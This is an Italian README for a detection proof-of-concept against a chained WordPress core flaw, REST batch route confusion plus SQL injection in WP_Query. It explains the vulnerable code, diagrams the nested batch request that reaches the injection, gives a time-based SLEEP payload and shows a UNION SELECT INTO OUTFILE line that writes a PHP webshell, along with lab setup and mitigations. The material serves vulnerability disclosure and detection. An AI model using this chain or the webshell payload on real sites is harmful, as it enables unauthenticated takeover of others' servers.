
RCE pre-autenticazione nel core di WordPress tramite confusione di route batch nell'API REST + SQLi in WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC di rilevamento.
| CVE | CVE-2026-63030 (route confusion → RCE) + CVE-2026-60137 (SQLi) |
| GHSA | GHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf |
| Scopritore | Adam Kues — Assetnote / Searchlight Cyber (denominata "wp2shell") |
| Interessate | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (catena RCE completa) · 6.8.0 – 6.8.5 (solo SQLi) |
| Corrette | 6.8.6, 6.9.5, 7.0.2, 7.1-beta2 |
| CVSS | Critico (catena RCE) / Moderato (SQLi isolato) |
| Blog del ricercatore | https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/ |
Due bug nel core di WordPress, combinabili in esecuzione remota di codice non autenticata:
WP_Query quando author__not_in è una stringa invece di un array — il controllo di sanificazione is_array() viene saltato e il valore grezzo viene interpolato in una clausola NOT IN (...).WP_REST_Server::serve_batch_request_v1() — le sotto-richieste WP_Error vengono inserite in $validation[] ma non in $matches[], causando uno spostamento di indice +1. La sotto-richiesta i finisce per essere gestita con l'handler della sotto-richiesta i+1.Nessuno dei due bug da solo è sufficiente: l'API REST sanifica author_exclude (type: array, items: integer) prima che raggiunga WP_Query, e l'endpoint batch rifiuta sotto-richieste GET (enum: POST, PUT, PATCH, DELETE). Combinandoli tramite una doppia confusione si aggirano entrambe le difese e si raggiunge la SQLi non autenticata.
src/wp-includes/class-wp-query.php (CVE-2026-60137)Vulnerabile (6.9.4):
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // string → skipped
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
Quando author__not_in è una stringa, il ramo is_array() viene saltato; (array) "payload" restituisce ["payload"]; implode(',', ...) restituisce la stringa grezza, che viene interpolata direttamente nell'SQL.
Correzione (6.9.5): usare wp_parse_id_list(), che accetta qualsiasi forma di input e restituisce una lista di interi sanificata.
src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)// Validation loop
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// ❌ $matches[] NOT appended
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
}
// Dispatch loop — indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
...
$match = $matches[ $i ]; // ← off-by-one after a WP_Error
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
Una singola sotto-richiesta WP_Error (es. percorso malformato) in posizione 0 sposta ogni voce successiva di uno. La richiesta i viene quindi gestita con l'handler della richiesta i+1.
Correzione (6.9.5): aggiungere $matches[] = $single_request; anche per il caso di errore. Un ulteriore rafforzamento cortocircuita rest_api_loaded() / serve_request() mentre un dispatch è già in corso.
┌──────────────────────────────────────────────────────────────────────┐
│ OUTER batch (POST /wp-json/batch/v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] path = "/wp/v2/categories" → carries nested batch in body │
│ body = { "name": "x", │
│ "requests": [ INNER_BATCH ] } │
│ Validated against categories → "requests" field untouched │
│ [2] path = "/batch/v1" → batch handler → shifts onto [1] │
│ │
│ Outer shift: request[1] dispatched with request[2]'s handler = │
│ serve_batch_request_v1. The batch endpoint has NO │
│ permission_callback → fires unauthenticated. request[1]'s body │
│ was validated against the *categories* route, so the nested │
│ sub-requests were NEVER checked against the batch method enum → │
│ inner sub-requests may use GET. │
├──────────────────────────────────────────────────────────────────────┤
│ INNER batch (processed inside serve_batch_request_v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] GET /wp/v2/categories │
│ ?author_exclude=<SQLi_PAYLOAD> │
│ Validated against categories → author_exclude NOT sanitised │
│ [2] GET /wp/v2/posts → get_items handler → shifts to [1]│
│ │
│ Inner shift: inner[1] dispatched with inner[2]'s handler = │
│ WP_REST_Posts_Controller::get_items. The unsanitised string │
│ author_exclude is mapped to author__not_in and passed to │
│ WP_Query → SQL INJECTION. │
└──────────────────────────────────────────────────────────────────────┘
Il frammento SQL risultante è:
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
SLEEP(N) viene eseguito una volta per ogni riga di post corrispondente, quindi il ritardo totale è di circa N × <numero_di_post_pubblicati> secondi.
L'iniezione solo-SELECT (nessuna query impilata, $wpdb usa mysqli_query) produce comunque RCE su stack LAMP tipici quando l'utente MySQL ha il privilegio FILE — che è l'impostazione predefinita su molti hosting condivisi e server autogestiti:
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
scrive una webshell PHP nella web root, raggiungibile all'indirizzo /x.php.
Percorsi alternativi (senza bisogno del privilegio FILE) includono la lettura dell'hash della password admin tramite SQLi blind UNION/booleana e il caricamento di un plugin dannoso tramite l'interfaccia admin autenticata.
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
[--confusion-only] [--no-color] [-v]
Il PoC esegue due test non distruttivi:
| Test | Metodo | Sicuro? |
|---|---|---|
| Confusione di route (CVE-2026-63030) | Strutturale — verifica che la richiesta interna[1] (categorie) venga gestita con l'handler dei post controllando che il corpo della risposta contenga campi esclusivi dei post | Sì |
| SQLi (CVE-2026-60137) | Blind basata sul tempo — inietta SLEEP(N) tramite author_exclude e misura la latenza rispetto a una baseline innocua | Sì |
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/
# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3
# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only
# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color
Esempio di output contro un'istanza vulnerabile 6.9.4:
[+] CONFIRMED — inner request[1] (categories) returned POSTS data.
Double confusion active: outer level bypasses batch method enum,
inner level dispatches categories params with the posts handler.
[*] Time-based blind SQLi detection (SLEEP=3s)
baseline: 0.04s
payload: 9.07s (Δ +9.02s)
[+] VULNERABLE — response delayed by 9.0s (≈ 3 post row(s) × SLEEP(3)).
Nessun ritardo / nessuna confusione strutturale ⇒ patch applicata (6.8.6 / 6.9.5 / 7.0.2).
requests (pip install requests)Il modo più semplice per riprodurre è con le immagini Docker ufficiali (l'auto-aggiornamento avrà corretto la maggior parte delle istanze attive entro poche ore dalla divulgazione):
docker network create wp
docker run -d --name wp-db --network wp \
-e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
-e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
-e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
-e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
wordpress:6.9.4-php8.2
# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode weblog_title=T \
--data-urlencode user_name=admin \
--data-urlencode admin_password=adminpassword123 \
--data-urlencode admin_password2=adminpassword123 \
--data-urlencode pw_weak=1 \
--data-urlencode [email protected] \
--data-urlencode blog_public=0
python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3
Per il passaggio INTO OUTFILE → RCE, concedi il privilegio FILE e assicurati che il processo del DB possa scrivere nella web root (LAMP su singolo server, o un volume condiviso in Docker):
GRANT FILE ON *.* TO 'wp'@'%';
WP_AUTO_UPDATE_CORE), quindi la maggior parte dei siti attivi è già stata corretta.POST /wp-json/batch/v1POST /index.php?rest_route=/batch/v1FILE all'utente del database WordPress:
REVOKE FILE ON *.* FROM 'wp_user'@'%';
secure_file_priv sia impostato (non vuoto):
secure_file_priv = /var/lib/mysql-files
| Data | Evento |
|---|---|
| 2026-07-17 | Rilasciati WordPress 6.8.6 / 6.9.5 / 7.0.2 |
| 2026-07-17 | Pubblicati GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf |
| 2026-07-17 | Assetnote / Searchlight Cyber pubblica l'avviso "wp2shell" + il checker https://wp2shell.com |
src/wp-includes/class-wp-query.phpsrc/wp-includes/rest-api.phpsrc/wp-includes/rest-api/class-wp-rest-server.phpQuesto repository contiene solo un PoC di rilevamento — utilizza SQLi blind basata sul tempo e ispezione strutturale delle risposte. Non estrae dati, non scrive file e non tenta RCE. La vulnerabilità era già stata corretta e divulgata pubblicamente da WordPress e dal ricercatore originale prima della pubblicazione di questo codice.
Utilizzalo solo contro sistemi di tua proprietà o per cui sei autorizzato a effettuare test.
MIT — vedi LICENSE.